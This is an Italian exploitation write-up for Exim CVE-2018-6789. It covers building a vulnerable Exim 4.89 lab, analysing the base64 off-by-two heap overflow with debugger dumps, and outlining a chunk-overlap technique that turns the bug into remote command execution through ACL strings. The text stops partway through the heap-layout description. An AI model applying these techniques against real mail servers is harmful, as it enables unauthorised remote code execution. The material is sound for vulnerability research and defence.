
Exploit per CVE-2018-6789, un heap buffer overflow nella decodifica base64 di Exim, che consente l'esecuzione remota di codice tramite chunk overlap e manipolazione delle stringhe ACL.
Installa le dipendenze
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
Scarica la vecchia versione di exim
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
Poi modifica Local/Makefile Per comodità, tutte le cartelle puntano alla directory corrente
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
Questo facilita il debug Poi compila e installa
make install
Modifica ./configure, sovrascrivendolo direttamente con il seguente contenuto
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
Prima analizziamo la patch in base64.c:
Qui result è il buffer che contiene il risultato della decodifica base64, ottenuto tramite la funzione store_get.
Si può notare che il calcolo di size prima della patch è errato: quando size rientra nell'intervallo 4n~4n+3, la lunghezza calcolata è identica, ma b64decode, decodificando un input la cui lunghezza non è multipla di 4, produce uno o due byte in più.
Ad esempio, se inviamo direttamente
auth_md5('Hf'*42)
size=0x40
La distribuzione della memoria è:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Proviamo anche
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
Si ha un overflow di due byte.
Per migliorare le prestazioni, exim ha implementato un proprio meccanismo di gestione della memoria sopra quello dell'heap originale; funge da buffer intermedio tra il codice e glibc, con l'obiettivo di ridurre il numero di chiamate a malloc e free.
Per exim, un singolo chunk dell'heap è chiamato storeblock; ogni volta che viene usato, da esso viene ricavato un buffer di dimensione adeguata. Quando uno storeblock è esaurito, viene allocato un nuovo storeblock con malloc.
Per ogni storeblock, la sua struttura è una semplice lista concatenata singola:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
Le principali API usate dal programma per l'heap si trovano in store.c:
store_get
store_release
store_extend
store_reset
Tra queste, store_get è usata per ottenere il buffer; il codice chiave è il seguente:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162 if (!newblock)
163 {
164 pool_malloc += mlength; /* Used in pools */
165 nonpool_malloc -= mlength; /* Exclude from overall total */
166 newblock = store_malloc(mlength);
...
Si può notare che la lunghezza minima di ogni store_block richiesto è STORE_BLOCK_SIZE, cioè 8192.
Quindi uno store_block di dimensione 8192, aggiungendo l'header della struttura e l'header del chunk dell'heap, ha una dimensione totale di 0x2020.

Ogni volta che exim esegue un comando inviato dal client, se il comando ha successo, viene chiamata store_reset per liberare le cache non necessarie e gli store_block in eccesso.
Qui "eseguito con successo" significa che il formato del comando è corretto, l'indirizzo email non contiene caratteri non validi, ecc.; altrimenti store_reset non viene chiamata.
Questa vulnerabilità è un classico off-by-one (anche se in realtà si può eccedere di due byte), ma poiché i byte di overflow sono pochi, non è possibile sovrascrivere direttamente le strutture sensibili nel chunk. Quindi è necessario sfruttare alcune caratteristiche di ptmalloc per amplificare l'impatto di questa vulnerabilità, trasformandola in un overflow su un'area più vasta, o meglio in un overlap.
Per le vulnerabilità off-by-one, esiste un classico metodo di sfruttamento: chunk enlarge -> chunk overlap. Ingrandendo la size del chunk e falsificando un header del chunk per bypassare i sanity check di glibc, si ottiene l'overlap dei chunk, consentendo una copertura su un'area più ampia.
Qui il processo principale è: chunk enlarge -> chunk overlap -> corruzione del puntatore next nello storeblock, quindi innescare store_reset per causare la free di un chunk arbitrario; una volta riallocato questo chunk, si può modificarne il contenuto (type confusion).
meh nel suo articolo consiglia di modificare il chunk in cui si trova la stringa ACL, perché nella gestione delle stringhe ACL esiste una funzionalità di esecuzione comandi.
Le stringhe ACL sono moltissime, ma la maggior parte sono NULL (probabilmente a causa del file di configurazione). Qui ho scelto la stringa acl_smtp_mail; la sintassi per eseguire comandi è:
${run{command}}
Il layout dell'heap è più o meno il seguente:

Il primo chunk è quello ottenuto dalla decodifica base64, usato per l'off-by-one; quindi deve trovarsi alla fine di uno storeblock. Per comodità, qui si alloca direttamente un chunk più grande di 0x2020 per contenere il risultato della decodifica base64;
Il secondo chunk è sender_helo_name, usato per sovrascrivere il chunk successivo. sender_helo_name non è memorizzato in uno storeblock, ma viene allocato direttamente con malloc:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
Quindi la sua dimensione è arbitraria;
Il terzo chunk è ottenuto dalla decodifica base64, usato principalmente per falsificare l'header e venire sovrascritto; quindi deve trovarsi all'inizio di uno storeblock. Per comodità, si alloca anch'esso direttamente con dimensione 0x2020.